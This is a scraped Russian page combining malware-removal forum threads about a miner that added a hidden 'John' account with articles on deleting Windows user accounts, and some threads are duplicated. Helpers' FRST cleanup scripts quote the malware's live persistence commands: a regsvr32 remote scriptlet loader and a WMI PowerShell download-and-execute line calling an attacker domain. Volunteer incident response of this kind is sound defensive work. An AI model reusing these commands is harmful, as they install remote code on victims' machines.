Содержание
- Папка с неизвестным пользователем John и вирус шифровальщик
- На ПК появился скрытый пользователь John
- Решение
- Сама по себе появилась учетная запись.
- Прикрепленные файлы:
- Другой пользователь в Windows 10 на экране входа
- Почему возникает такая проблема
- Как решить ситуацию
- Как убрать лишнюю учетную запись при входе в Windows 10?
- Управление учетными записями в Windows 10
- Что делать, если отображается два одинаковых пользователя при входе?
Папка с неизвестным пользователем John и вирус шифровальщик
Помощь в написании контрольных, курсовых и дипломных работ здесь.
Вложения
Вирус шифровальщик
доброй ночи!! вирусня, файлы стали называться непонятно как, например.
Вирус шифровальщик
Добрый день. Поймал вирус шифровальщик на ноутбук. Вирус удален, прошу помощи с расшифровкой.
Вирус-шифровальщик
Доброго времени суток. После включения серверного компютера на windows srever 2003 запустилься.
Тип вымогателя Thanos, к сожалению, расшифровки нет.
Майнер и его следы почистим.
Скачайте AV block remover.
Распакуйте, запустите и следуйте инструкциям.
После перезагрузки системы соберите новый CollectionLog Автологером.
Вложения
CollectionLog-2022.05.24-15.38.zip (126.7 Кб, 6 просмотров) |
Вложения
SecurityCheck.txt (16.3 Кб, 3 просмотров) |
Смените пароли на RDP подключение, а также желательно на учётные записи с правами администратора.
Читайте Рекомендации после удаления вредоносного ПО
Источник
На ПК появился скрытый пользователь John
Помощь в написании контрольных, курсовых и дипломных работ здесь.
Вложения
CollectionLog-2022.04.23-18.19.zip (86.3 Кб, 9 просмотров) |
Скрытый пользователь
Здравствуйте. Не подскажете как создать скрытого пользователя в win7, знаю что в реестре можно.
Появился новый пользователь с правами админа
Здравствуйте уважаемые форумчане! На моём сайте (WP 4.4.2) появился пользователь «pochka» с email.
Скрытый пользователь с правами админа (пароль забыт) и выполнение установки драйверов
Допустим есть компьютер с Windows 10 (но может и 8/7, завтра узнаем. ). Нужно поставить на компе.
Предположу, что речь идет об утилите AVBR. Только повторно её запускать не нужно. Она не проверяет наличие или отсутствие этого пользователя и записи в Hosts.
Видно только нежелательное ПО и адварь. Почистим:
Да, перепутал, запускал AVBR, также выдает 2 этих окна и перезагружает ПК, скрины прикладываю.
Вложения
CollectionLog-2022.04.24-12.09.zip (100.8 Кб, 0 просмотров) |
Вложения
AdwCleaner[S02].txt (1.6 Кб, 5 просмотров) |
Дополнительно:
Скачайте Farbar Recovery Scan Tool (или с зеркала) и сохраните на Рабочем столе.
Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Да (Yes) для соглашения с предупреждением.
Нажмите кнопку Сканировать (Scan).
После окончания сканирования будут созданы отчеты FRST.txt и Addition.txt в той же папке, откуда была запущена программа. Прикрепите отчеты к своему следующему сообщению.
(Если не помещаются, упакуйте).
Подробнее читайте в этом руководстве.
Да, это я понял. Спросил потому что AVBR не доводит до конца сканирование и самопроизвольно перезапускает ПК, отсюда и возникают вопросы.
Извиняюсь, уже по привычке очистил старые логи, думал, не понадобятся.
Вложения
Desktop.7z (29.7 Кб, 2 просмотров) |
Прикрепляю к сообщению
Вложения
Fixlog.txt (10.8 Кб, 2 просмотров) |
Решение
Хорошо. В завершение:
Остальные утилиты лечения и папки можно просто удалить.
Источник
Сама по себе появилась учетная запись.
Прикрепленные файлы:
1. Если Вы подозреваете у себя на компьютере вирусную активность и хотите получить помощь в этом разделе,
2. Если у Вас при включении компьютера появляется окно с требованием перечислить некоторую сумму денег и при этом блокируется доступ к рабочему столу,
— попытайтесь найти коды разблокировки здесь https://www.drweb.com/xperf/unlocker/
— детально опишите как выглядит это окно (цвет, текст, количество кнопок, появляется ли оно до появления окна приветствия Windows или сразу же после включении компьютера);
— дождаться ответа аналитика или хелпера;
3. Если у Вас зашифрованы файлы,
Внимание! Услуга по расшифровке файлов предоставляется только лицензионным пользователям продуктов Dr.Web, у которых на момент заражения была установлена коммерческая лицензия Dr.Web Security Space не ниже версии 9.0, Антивирус Dr.Web для Windows не ниже версии 9.0 или Dr.Web Enterprise Security Suite не ниже версии 6.0. подробнее.
Что НЕ нужно делать:
— лечить и удалять найденные антивирусом вирусы в автоматическом режиме или самостоятельно. Можно переместить всё найденное в карантин, а после спросить специалистов или не предпринимать никаких действий, а просто сообщить название найденных вирусов;
— переустанавливать операционную систему;
— менять расширение у зашифрованных файлов;
— очищать папки с временными файлами, а также историю браузера;
— использовать самостоятельно без консультации с вирусным аналитиком Dr. Web дешифраторы из «Аптечки сисадмина» Dr. Web;
— использовать дешифраторы рекомендуемые в других темах с аналогичной проблемой.
Для этого проделайте следующее:
Источник
Другой пользователь в Windows 10 на экране входа
Иногда люди сталкиваются с такой проблемой, как другой пользователь в Windows 10. Появляется он на входе в ОС. При этом какие-либо другие аккаунты отсутствуют, а данная учетная запись запрашивает пароль и логин, делая вход невозможным.
Почему возникает такая проблема
Чаще всего сложности со входом возникают из-за некорректной работы операционной системы. К этому относятся как одноразовые сбои, так и проблемы, возникшие на фоне обновлений или действий пользователя. Ко второму, например, относится сброс системы.
В редких случаях надпись «Другой пользователь» вместо имени может возникать по причине изменения параметра реестра. Последнее также может возникать по самым разным причинам и, в отличие от предыдущих возможных вариантов, стабильно появляется повторно.
Как решить ситуацию
В первую очередь следует попробовать заново загрузить компьютер. Для этого достаточно задержать кнопку питания, чтобы ПК выключился. Если проблема заключалась в одноразовом сбое, то этого может быть достаточно. Также следует попробовать еще несколько способов:
Другой пользователь в Windows 10 – довольно неприятная проблема, которая может доставлять серьезные неудобства. Поэтому рекомендуется не забывать про создание точек восстановления. Также, если подобная ситуация уже возникла, следует начать с простой перезагрузки устройства: такой банальный вариант помогает заметно чаще, чем может показаться.
Источник
Как убрать лишнюю учетную запись при входе в Windows 10?
Некоторые пользователи Windows 10 сталкиваются с неудобством выбора учетной записи каждый раз при включении своего компьютера или ноутбука. При этом одна из этих записей лишняя и совершенно не нужна. Чтобы упростить и ускорить запуск системы можно лишнюю учетную запись убрать. Как это сделать мы расскажем в данной статье.
Управление учетными записями в Windows 10
Для того, чтобы удалить одну из учетных записей, сперва нужно зайти в параметры системы. Для этого откройте “Пуск” и нажмите на значок шестеренки, который называется “Параметры”.
Вход в параметры Windows 10
В открывшемся окне параметров выбираем “Учетные записи”.
Управление учетными записями в Windows 10
Далее в меню слева нажимаем “Семья и другие люди”.
Перечень всех пользователей компьютера
В разделе “Другие люди” будут отображены все дополнительно созданные пользователи, которых можно удалить.
Удаление лишнего пользователя в Windows 10
Для удаления достаточно кликнуть по учетной записи и нажать кнопку “Удалить”. Далее останется лишь подтвердить удаление.
Следует отметить, что все выше и ниже описанные действия можно выполнять только под учетной записью с правами администратора!
Второй способ описан ниже.
Что делать, если отображается два одинаковых пользователя при входе?
Данная ситуация возможна после обновления системы. Windows 10 каким – то образом начинает думать, что в системе появился еще один пользователь с таким же именем, хотя по факту пользователь один.
Для решения данной проблемы нужно запустить окно “Выполнить”. Для этого нажмите комбинацию кнопок на клавиатуре “WIN” + “R”.
Комбинация клавиш Win+R на клавиатуре
В появившемся окне наберите команду netplwiz и нажмите “Enter”.
Команда открытия окна учетных записей пользователей
Отобразятся все учетные записи пользователей, имеющиеся на вашем компьютере. (Отсюда можно провести удаление ненужной учетки).
Установка параметров пользователя
Выделяем кликом мышкой ту запись, которая дублируется на экране ввода, и устанавливаем для нее вверху галочку “Требовать ввод имени пользователя и пароля”.
После этого нажмите “Ок” и перезагрузите компьютер. Проблема будет решена. А запрос пароля можно будет снова отключить.
Источник
0 / 0 / 0 Регистрация: 28.12.2021 Сообщений: 12 |
|
1 |
|
28.12.2021, 22:56. Показов 6798. Ответов 17
Как вы могли догадаться из названия я совершенно случайно обнаружил ещё одного скрытого пользователя своей системы: Имя устройства LAPTOP-SR6R18LC По имени John который обладал правами удалённого доступа. Не долго думая ,удалив его через Выполнить , решил убедиться в своих подозрениях и попал на ваш сайт где описан похожий случай. Решил последовать вашим инструкциям и создать тему по этому поводу. К слову вирус никак себя не выдаёт, процессы не висят. Единственное что при попытке зайти на ваш сайт через браузер Edge — браузер вылетал, уж не знаю связанно это или нет. Сейчас сижу через яндекс. В общем логи приложил. Дайте знать что это и что с этим делать. Я право не в силах бороться на равных с этой электроникой.
__________________
0 |
Programming Эксперт 94731 / 64177 / 26122 Регистрация: 12.04.2006 Сообщений: 116,782 |
28.12.2021, 22:56 |
Ответы с готовыми решениями: Майнер по имени John взломал мой компьютер и я не могу скачать антивирусы Подскажите вероятный листинг диаграммы Программа, которая позволит ставить вероятный диагноз Найти наиболее вероятный прямоугольник среди множества точек 17 |
11098 / 6334 / 1310 Регистрация: 06.09.2009 Сообщений: 24,072 |
|
28.12.2021, 23:28 |
2 |
Скачайте AV block remover. После перезагрузки системы соберите новый CollectionLog Автологером.
0 |
0 / 0 / 0 Регистрация: 28.12.2021 Сообщений: 12 |
|
29.12.2021, 00:26 [ТС] |
3 |
Я вынужден извиниться, ведь выполнить подобные манипуляции не представляется возможным. Даже при переименовании программа не ставится. Система говорит что там вирус или вредоносная программа и удаляет его.
0 |
0 / 0 / 0 Регистрация: 28.12.2021 Сообщений: 12 |
|
29.12.2021, 00:50 [ТС] |
4 |
—> Миниатюры
0 |
11098 / 6334 / 1310 Регистрация: 06.09.2009 Сообщений: 24,072 |
|
29.12.2021, 01:22 |
5 |
Нет там вируса. Отключите параноидального Защитника Windows хотя бы на время лечения.
0 |
0 / 0 / 0 Регистрация: 28.12.2021 Сообщений: 12 |
|
29.12.2021, 01:49 [ТС] |
6 |
Мой косяк. На 10 винде столько служб по защите появилось что черт ногу сломит , а защиты всё равно ноль.
0 |
0 / 0 / 0 Регистрация: 28.12.2021 Сообщений: 12 |
|
29.12.2021, 01:51 [ТС] |
7 |
—>
0 |
11098 / 6334 / 1310 Регистрация: 06.09.2009 Сообщений: 24,072 |
|
29.12.2021, 01:54 |
8 |
Скачайте Farbar Recovery Scan Tool (или с зеркала) и сохраните на Рабочем столе.
1. Запустите программу двойным щелчком. Когда программа запустится, нажмите Yes для соглашения с предупреждением.
0 |
0 / 0 / 0 Регистрация: 28.12.2021 Сообщений: 12 |
|
29.12.2021, 02:04 [ТС] |
9 |
Готово
0 |
0 / 0 / 0 Регистрация: 28.12.2021 Сообщений: 12 |
|
29.12.2021, 02:32 [ТС] |
10 |
Ну по ощущениям уже что то изменилось. Раньше шумел вентиляторами как вертолёт , а щас вдруг притих. Я думал так и должно быть) Ан нет. Видно что то с торрентов подцепил ещё пару месяцев назад. Ну что за погань….нет чтобы честным пиратством заниматься.) Добавлено через 11 минут
0 |
11098 / 6334 / 1310 Регистрация: 06.09.2009 Сообщений: 24,072 |
|
29.12.2021, 07:09 |
11 |
1. Выделите следующий код и скопируйте в буфер обмена (правая кнопка мыши – Копировать) Код Start:: CreateRestorePoint: HKLM-x32...Run: [start] => regsvr32 /u /s /i:hxxp://js.ha7455h6fi1.net:280/v1.sct scrobj.dll (Нет файла) <==== ВНИМАНИЕ HKLMSOFTWAREPoliciesMicrosoftWindows Defender: Ограничение <==== ВНИМАНИЕ WMI:subscriptionCommandLineEventConsumer->topk4::[CommandLineTemplate => cmd /c powershell.exe IEX (New-Object system.Net.WebClient).DownloadString('http://wmi.ha7455h6fi1.net:8080/power.txt')||regsvr32 /u /s /i:http://ha7455h6fi1.net:8080/s.txt scrobj.dll&wmic os get /FORMAT:"http://wmi.ha7455h6fi1.net:8220/s.xsl"] Reboot: End:: 2. Запустите Farbar Recovery Scan Tool от имени Алминистратора по правой кнопке мыши.
0 |
0 / 0 / 0 Регистрация: 28.12.2021 Сообщений: 12 |
|
29.12.2021, 14:25 [ТС] |
12 |
Готово
0 |
0 / 0 / 0 Регистрация: 28.12.2021 Сообщений: 12 |
|
29.12.2021, 14:52 [ТС] |
13 |
Откуда пришла эта зараза можно выяснить? И посоветуете антивирус какой?
0 |
11098 / 6334 / 1310 Регистрация: 06.09.2009 Сообщений: 24,072 |
|
29.12.2021, 19:53 |
14 |
Откуда пришла эта зараза можно выяснить? Не представляется возможным, но наверняка с каким-нибудь кряком, кейгеном и т.п. Проблема решена? Загрузите SecurityCheck by glax24 & Severnyj и сохраните утилиту на Рабочем столе.
0 |
0 / 0 / 0 Регистрация: 28.12.2021 Сообщений: 12 |
|
29.12.2021, 20:10 [ТС] |
15 |
Да, в общем да. Больше не греется и не шумит как последние пару месяцев. Ну можно сказать поработал в стресс режиме. Ничего не сгорело и не отвалилось.Тест прошёл успешно)
0 |
0 / 0 / 0 Регистрация: 28.12.2021 Сообщений: 12 |
|
29.12.2021, 20:24 [ТС] |
16 |
Если на этом всё, то хочу от души поблагодарить за вашу оперативную подмогу и знания. Респект администрации сайта и подобным ресурсам за вклад в борьбу со злым умыслом и спасения каждого из людей встретившего проблемы в этой сфере в частности и всего мира в общности.
0 |
11098 / 6334 / 1310 Регистрация: 06.09.2009 Сообщений: 24,072 |
|
29.12.2021, 22:58 |
17 |
——————————- [ Browser ] ——————————- Исправляйте указанное + Рекомендации после удаления вредоносного ПО
0 |
0 / 0 / 0 Регистрация: 28.12.2021 Сообщений: 12 |
|
30.12.2021, 01:26 [ТС] |
18 |
Спасибо вам.. Всех благ и всего самого наилучшего в новом году. С наступающим.
0 |
IT_Exp Эксперт 87844 / 49110 / 22898 Регистрация: 17.06.2006 Сообщений: 92,604 |
30.12.2021, 01:26 |
Помогаю со студенческими работами здесь Вирус пользователь john Скрытый пользователь John На ПК появился скрытый пользователь John Система перестала загружаться появился пользователь john Папка с неизвестным пользователем John и вирус шифровальщик Поймал майнера, появился новый пользователь John Задача «John, Bruce and beer» Искать еще темы с ответами Или воспользуйтесь поиском по форуму: 18 |
-
#1
Здравствуйте! обнаружил на ПК скрытого пользователя John,скачал и запустил AVbr (лог прикреплю),этот пользователь был удален,пробежался по компьютеру Dr. Web Curelt,он ничего не нашел,так-же просканировал пк с помощью 360 total security он тоже вирусов не нашел,дело в том что я нуб в делах безопасности пк,подскажите пожалуйста что ещё нужно сделать и какими программами воспользоваться чтобы наверняка знать что в данный момент на пк нету вирусов и майнеров.
-
AV_block_remove_2022.09.09-10.03.log
9 KB
· Просмотры: 16
-
#3
лог
-
CollectionLog-2022.09.09-14.54.zip
68.5 KB
· Просмотры: 8
-
#4
Дополнительно:
- Скачайте AdwCleaner (by Malwarebytes) и сохраните его на Рабочем столе.
- Запустите его (необходимо запускать через правую кн. мыши от имени администратора), нажмите кнопку «Scan» («Запустить проверку») и дождитесь окончания сканирования.
- Когда сканирование будет завершено, отчет будет сохранен в следующем расположении: C:AdwCleanerLogsAdwCleaner[Sxx].txt (где x — любая цифра).
- Прикрепите отчет к своему следующему сообщению.
Подробнее читайте в этом руководстве.
-
#5
Во время анализа всё остальное старайтесь закрывать. В т.ч. CureIt от Dr.Web
-
#6
Dr web подвис,прикрепляю 2 лога,первый был с ним второй без.
-
AdwCleaner[S00].txt
1.9 KB
· Просмотры: 3 -
AdwCleaner[S01].txt
1.9 KB
· Просмотры: 3
-
#7
1.
- Запустите повторно (если уже закрыли) AdwCleaner (by Malwarebytes) (программу необходимо запускать через правую кн. мыши от имени администратора).
- В меню Параметры включите дополнительно в разделе Действия по базовому восстановлению:
- Сбросить политики IE
- Сбросить политики Chrome
- Убедитесь, что закрыты все браузеры.
- В меню Информационная панель нажмите Запустить проверку.
- По окончании нажмите кнопку Карантин и дождитесь окончания удаления.
- Когда удаление будет завершено, отчет будет сохранен в следующем расположении: C:AdwCleanerLogsAdwCleaner[Cxx].txt (где x — любая цифра).
- Прикрепите отчет к своему следующему сообщению.
- (Обратите внимание — C и S — это разные буквы).
Внимание: Для успешного удаления возможно понадобится перезагрузка компьютера!!!
Подробнее читайте в этом руководстве.
2.
Скачайте Farbar Recovery Scan Tool (или с зеркала) и сохраните на Рабочем столе.
Примечание: необходимо выбрать версию, совместимую с вашей операционной системой. Если вы не уверены, какая версия подойдет для вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на вашей системе.
Когда программа запустится, нажмите Да для соглашения с предупреждением.
Нажмите кнопку Сканировать (Scan).
После окончания сканирования будут созданы отчеты FRST.txt и Addition.txt в той же папке, откуда была запущена программа. Прикрепите отчеты к своему следующему сообщению.
Подробнее читайте в этом руководстве.
-
#8
логи
-
AdwCleaner[C02].txt
2.1 KB
· Просмотры: 3 -
Addition.txt
68 KB
· Просмотры: 7 -
FRST.txt
28.8 KB
· Просмотры: 7
-
#9
Папку C:FRST упакуйте в архив и прикрепите к следующему сообщению. Если превысит размер, залейте на файлообменник и дайте ссылку на скачивание.
-
#10
Примите к сведению — после выполнения скрипта (возможно) все открытые вкладки браузеров будут закрыты, произойдет выход из аккаунтов, временные файлы, корзина, история браузеров, куки и кэш будут очищены.
- Отключите до перезагрузки антивирус.
- Выделите следующий код:
Start:: CloseProcesses: SystemRestore: On CreateRestorePoint: HKLMSOFTWAREMicrosoftWindows Defender: [DisableAntiSpyware] Ограничение <==== ВНИМАНИЕ HKLMSOFTWAREMicrosoftWindows Defender: [DisableAntiVirus] Ограничение <==== ВНИМАНИЕ HKLMSOFTWAREPoliciesMicrosoftWindowsWindowsUpdate: Ограничение <==== ВНИМАНИЕ HKUS-1-5-19...RunOnce: [lang] => reg add "HKCUControl PanelInternationalUser Profile" /v "Languages" /t REG_MULTI_SZ /d "ruen-US" /f (Нет файла) <==== ВНИМАНИЕ HKUS-1-5-20...RunOnce: [lang] => reg add "HKCUControl PanelInternationalUser Profile" /v "Languages" /t REG_MULTI_SZ /d "ruen-US" /f (Нет файла) <==== ВНИМАНИЕ HKUS-1-5-18...RunOnce: [lang] => reg add "HKCUControl PanelInternationalUser Profile" /v "Languages" /t REG_MULTI_SZ /d "ruen-US" /f (Нет файла) <==== ВНИМАНИЕ HKU.DEFAULTSOFTWAREPoliciesMicrosoftEdge: Ограничение <==== ВНИМАНИЕ HKUS-1-5-19SOFTWAREPoliciesMicrosoftEdge: Ограничение <==== ВНИМАНИЕ HKUS-1-5-20SOFTWAREPoliciesMicrosoftEdge: Ограничение <==== ВНИМАНИЕ HKUS-1-5-21-3417075138-680725453-2451138047-1002SOFTWAREPoliciesMicrosoftEdge: Ограничение <==== ВНИМАНИЕ CHR StartupUrls: Default -> "hxxp://rusearch.co" CHR HKLM-x32...ChromeExtension: [aegnopegbbhjeeiganiajffnalhlkkjb] 2022-09-09 10:06 - 2022-08-06 00:28 - 000000000 ____D C:Program FilesRDP Wrapper AlternateDataStreams: C:ProgramDataReprise:jhqduwvxlctbqqijsf`usjbm`pgyjhioihinfh [0] AlternateDataStreams: C:UsersPublicShared Files:VersionCache [10306] FirewallRules: [{032D201D-889F-4EED-A346-0C31B1462C92}] => (Allow) LPort=80 FirewallRules: [{69661991-0EE3-4C21-BABE-0C2AB82B3C03}] => (Allow) LPort=443 FirewallRules: [{DF5B215F-B2CF-40FA-9285-69E38398C6ED}] => (Allow) LPort=20010 FirewallRules: [{AD990AC8-C542-42C8-9CAF-92308D6B46E0}] => (Allow) LPort=3478 FirewallRules: [{A0BB180D-34AE-4F12-87C8-3AB42E294FCF}] => (Allow) LPort=7850 FirewallRules: [{F6BAB099-4647-442E-BE7F-9DC6D70684FA}] => (Allow) LPort=7852 FirewallRules: [{8CB734A1-266D-4AAE-A66F-95896EDA5C31}] => (Allow) LPort=7853 FirewallRules: [{4CBDC29D-5B71-4499-9022-22AB176797CD}] => (Allow) LPort=27022 FirewallRules: [{6F992628-D5FE-47B8-94F2-AC920C70CFB7}] => (Allow) LPort=6881 FirewallRules: [{ED465774-6EF9-4426-BABF-697F884E7C57}] => (Allow) LPort=33333 FirewallRules: [{2D0AF748-E047-41EC-9979-16358F4D8084}] => (Allow) LPort=20443 FirewallRules: [{0AB02EAA-8A18-4B92-93EB-B9E0450115ED}] => (Allow) LPort=8090 FirewallRules: [{76505A21-FD44-4877-A3B2-244DA192315D}] => (Allow) LPort=3001 FirewallRules: [{B9665500-899C-4B0D-BF11-46C8D297D0BD}] => (Allow) LPort=3000 ExportKey: HKLMSOFTWAREMicrosoftWindows DefenderExclusions EmptyTemp: Reboot: End::
- Скопируйте выделенный текст (правой кнопкой — Копировать).
- Запустите FRST (FRST64) от имени администратора.
- Нажмите Исправить (Fix) один раз (!) и подождите. Программа создаст лог-файл (Fixlog.txt). Прикрепите его к своему следующему сообщению.
Компьютер будет перезагружен автоматически.
Подробнее читайте в этом руководстве.
-
#11
если попросит пароль к архиву : 123
-
#12
Fixlog
-
Fixlog.txt
8.4 KB
· Просмотры: 5
-
#14
на данный момент сделал все о чем просил Sandor,скрытый пользователь John был удален,предоставил все логи которые просили,я в логах ничего не понимаю,поэтому хотел бы узнать,остались какие-либо следы вирусов или майнеров? и требуется ли с моей стороны ещё какие-либо действия или проверки? если что прошу прощения я нуб.
-
#16
-
SecurityCheck.txt
10 KB
· Просмотры: 3
-
#17
Исправьте по возможности
——————————- [ Windows ] ——————————-
Контроль учётных записей пользователя отключен
Запрос на повышение прав для администраторов отключен
^Рекомендуется включить уровень по умолчанию: Win+R ввести UserAccountControlSettings и Enter^
————————— [ OtherUtilities ] —————————-
Microsoft SQL Server 2012 Command Line Utilities v.11.3.6020.0 Данная программа больше не поддерживается разработчиком.
NVIDIA GeForce Experience 3.24.0.126 v.3.24.0.126 Внимание! Скачать обновления
Python 3.10.4 (64-bit) v.3.10.4150.0 Внимание! Скачать обновления
OpenOffice 4.1.10 v.4.110.9807 Внимание! Скачать обновления
——————————- [ Imaging ] ——————————-
paint.net v.4.3.2 Внимание! Скачать обновления
————————— [ IMAndCollaborate ] —————————
Discord v.1.0.9001 Внимание! Скачать обновления
——————————— [ Media ] ———————————
VLC media player v.3.0.16 Внимание! Скачать обновления
Чтобы автоматически удалить все файлы и папки, созданные FRST, в том числе сам инструмент, переименуйте FRST/FRST64.exe в uninstall.exe и запустите его. Процедура требует перезагрузки
И удачи!
-
#18
Благодарю всех за помощь в решении проблемы! Обязательно воспользуюсь рекомендацией.
Содержание
- На ПК появился скрытый пользователь John
- Решение
- Другой пользователь в Windows 10 на экране входа
- Почему возникает такая проблема
- Как решить ситуацию
- Появились новые пользователи на компьютере
- На экране смены пользователя появился «Другой пользователь»
- Описание проблемы
- Решение проблемы
- Поймал майнера, появился новый пользователь John
- Решение
На ПК появился скрытый пользователь John
Помощь в написании контрольных, курсовых и дипломных работ здесь.
Вложения
CollectionLog-2021.04.23-18.19.zip (86.3 Кб, 9 просмотров) |
Скрытый пользователь
Здравствуйте. Не подскажете как создать скрытого пользователя в win7, знаю что в реестре можно.
Появился новый пользователь с правами админа
Здравствуйте уважаемые форумчане! На моём сайте (WP 4.4.2) появился пользователь «pochka» с email.
Скрытый пользователь с правами админа (пароль забыт) и выполнение установки драйверов
Допустим есть компьютер с Windows 10 (но может и 8/7, завтра узнаем. ). Нужно поставить на компе.
Предположу, что речь идет об утилите AVBR. Только повторно её запускать не нужно. Она не проверяет наличие или отсутствие этого пользователя и записи в Hosts.
Видно только нежелательное ПО и адварь. Почистим:
Да, перепутал, запускал AVBR, также выдает 2 этих окна и перезагружает ПК, скрины прикладываю.
Вложения
CollectionLog-2021.04.24-12.09.zip (100.8 Кб, 0 просмотров) |
Вложения
AdwCleaner[S02].txt (1.6 Кб, 5 просмотров) |
Дополнительно:
Скачайте Farbar Recovery Scan Tool (или с зеркала) и сохраните на Рабочем столе.
Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Да (Yes) для соглашения с предупреждением.
Нажмите кнопку Сканировать (Scan).
После окончания сканирования будут созданы отчеты FRST.txt и Addition.txt в той же папке, откуда была запущена программа. Прикрепите отчеты к своему следующему сообщению.
(Если не помещаются, упакуйте).
Подробнее читайте в этом руководстве.
Да, это я понял. Спросил потому что AVBR не доводит до конца сканирование и самопроизвольно перезапускает ПК, отсюда и возникают вопросы.
Извиняюсь, уже по привычке очистил старые логи, думал, не понадобятся.
Вложения
Desktop.7z (29.7 Кб, 2 просмотров) |
Прикрепляю к сообщению
Вложения
Fixlog.txt (10.8 Кб, 2 просмотров) |
Решение
Хорошо. В завершение:
Остальные утилиты лечения и папки можно просто удалить.
Источник
Другой пользователь в Windows 10 на экране входа
Иногда люди сталкиваются с такой проблемой, как другой пользователь в Windows 10. Появляется он на входе в ОС. При этом какие-либо другие аккаунты отсутствуют, а данная учетная запись запрашивает пароль и логин, делая вход невозможным.
Почему возникает такая проблема
Чаще всего сложности со входом возникают из-за некорректной работы операционной системы. К этому относятся как одноразовые сбои, так и проблемы, возникшие на фоне обновлений или действий пользователя. Ко второму, например, относится сброс системы.
В редких случаях надпись «Другой пользователь» вместо имени может возникать по причине изменения параметра реестра. Последнее также может возникать по самым разным причинам и, в отличие от предыдущих возможных вариантов, стабильно появляется повторно.
Как решить ситуацию
В первую очередь следует попробовать заново загрузить компьютер. Для этого достаточно задержать кнопку питания, чтобы ПК выключился. Если проблема заключалась в одноразовом сбое, то этого может быть достаточно. Также следует попробовать еще несколько способов:
Другой пользователь в Windows 10 – довольно неприятная проблема, которая может доставлять серьезные неудобства. Поэтому рекомендуется не забывать про создание точек восстановления. Также, если подобная ситуация уже возникла, следует начать с простой перезагрузки устройства: такой банальный вариант помогает заметно чаще, чем может показаться.
Источник
Появились новые пользователи на компьютере
Просьба: подскажите как избавится от этих пользователей и есть ли смысл избавлятся от них (ссылки кроме google.com итп, програмы для безопасности и поиска вредоносных програм, «поиск» в виндовсе этих польвотелей, другие советы на ваше усмотрение. ).
На даный момент: планирую переустановить винду (такую же поставить), установить антивирус Симантек. Подкоректируйте это решение на свое усмотрение.
Цитата |
---|
User пишет: Позже было замечено присутсвие лишних пользователей, а именно: «СОЗДАТЕЛЬ-ВЛАДЕЛЕЦ», неизвесный пользователь «s-15-. » на обычном диске(без виндовса), а также пользователи: «СОЗДАТЕЛЬ-ВЛАДЕЛЕЦ», «Trusted instal» на системном диске «С:», были попытки удалить этих пользователей через меню «свойства окна»-безопасность-удалить, а также ч-з меню «свойства окна»-безопасность-дополнительно-владелец(менял владельца с Trusted instal на администратора) после попытки удаления пользователя в папке «СProgram files» выскакивала ошибка «1», на другом диске пользователь удалялся, но вскорее появился пользователь: «Прошедшие проверку» (возможно это связано с установкой антивируса «Касперский Интернет секюрити» до этого стоял бесплатный антивирус «АВГ»), было также замечено что пользователь Trusted instal имеет управление над процесом csrss.exe. ОС Windows 7 Ultimate. |
Переназначьте владельца на группу Администраторы, а потом удалите те учётные записи в которых стоит тип «Неизвестная. «, а в конце имени знак вопроса. Это вообще-то надо делать по всем слайсам.
Источник
На экране смены пользователя появился «Другой пользователь»
Недавно потребовалось создать несколько пользователей. На компьютере установлена Windows 7. Но возникли некоторые проблемы.
Описание проблемы
Т. е. пользователи там не отображаются. А вот почему, не знаю.
Создал я пользователя через «Панель управления → Администрирование → Управление компьютером».
Чтобы зайти под созданным пользователем я, естественно, выбрал пункт «Сменить пользователя» (или Windows+L). Но там нового пользователя не оказалось. Вместо нового пользователя был «Другой пользователь». Вместо имени было так и написано. Выглядело это так:
По умолчанию в Windows 7 отображается список всех пользователей. Но у меня было все по другому.
Выбрав «Другой пользователь» система требовала ввести имя и пароль. Я ввел имя созданного пользователя и вошел в систему под ним.
Вводить имя пользователя в моем случае (когда компьютером пользуются всего несколько человек) просто неудобно.
Через некоторое время я нашел в интернете, что так происходит из-за какой-то CAD системы (её название не было названо, но сказано, что система очень известная). У меня были установлены несколько достаточно известных CAD систем.
Решение проблемы
Я все же нашел решение проблемы. Для этого достаточно просто удалить 1 ветку реестра. Для этого:
1. Откройте редактор реестра (Пуск → Выполнить → Regedit):
2. Перейдите в раздел: «HKEY_LOCAL_MACHINESOFTWAREMicrosoftWindows NTCurrentVersionProfileList»;
3. Удалите все подразделы S-1-5-21-xxxxxxxxxx-xxxxxxxxxx-xxxxxxxxx-xxxx, кроме соответствующего вашей учетной записи. Смотрите значение параметра ProfileImagePath в подразделе, чтобы определить, какой из них ваш.
Мне потребовалось удалить только 1 раздел (см. рисунок выше) в котором отсутствовали параметры.
Источник
Поймал майнера, появился новый пользователь John
Помощь в написании контрольных, курсовых и дипломных работ здесь.
Вложения
CollectionLog-2021.06.18-22.59.zip (74.4 Кб, 3 просмотров) |
На ПК появился скрытый пользователь John
Все началось с того, что падал фпс до 5-8 в играх, если не трогаешь мышь или клавиатуру в течение.
Возможно поймал майнера!
Доброго вечера! Обратил внимание, что как пару дней иногда подскакивают обороты вентиляторов.
Поймал Майнера и еще кучу всего
Здравствуйте, пару дней назад обнаружил дикие просадки фпс в игре, которая ранее выдавала 60+.
Скрытый пользователь John
Что делать на компьюетере появился скрытый пользователь. обнаружил я через программу AVBR.
Дополнительно:
Скачайте Farbar Recovery Scan Tool (или с зеркала) и сохраните на Рабочем столе.
Примечание: необходимо выбрать версию, совместимую с Вашей операционной системой. Если Вы не уверены, какая версия подойдет для Вашей системы, скачайте обе и попробуйте запустить. Только одна из них запустится на Вашей системе.
Запустите программу. Когда программа запустится, нажмите Да (Yes) для соглашения с предупреждением.
Нажмите кнопку Сканировать (Scan).
После окончания сканирования будут созданы отчеты FRST.txt и Addition.txt в той же папке, откуда была запущена программа. Прикрепите отчеты к своему следующему сообщению.
(Если не помещаются, упакуйте).
Подробнее читайте в этом руководстве.
Вложения
Решение
Проверьте наблюдается ли подобное в безопасном режиме.
Далее можно порекомендовать лишь обновление программы до последней версии или ее удаление.
Подробнее об этой диагностике читайте здесь.
Источник
Содержание
- Удаляем локальные учетки в Windows 10
- Способ 1: Панель управления
- Способ 2: Командная строка
- Способ 3: Окно команд
- Способ 4: Консоль управления компьютером
- Способ 5: Параметры
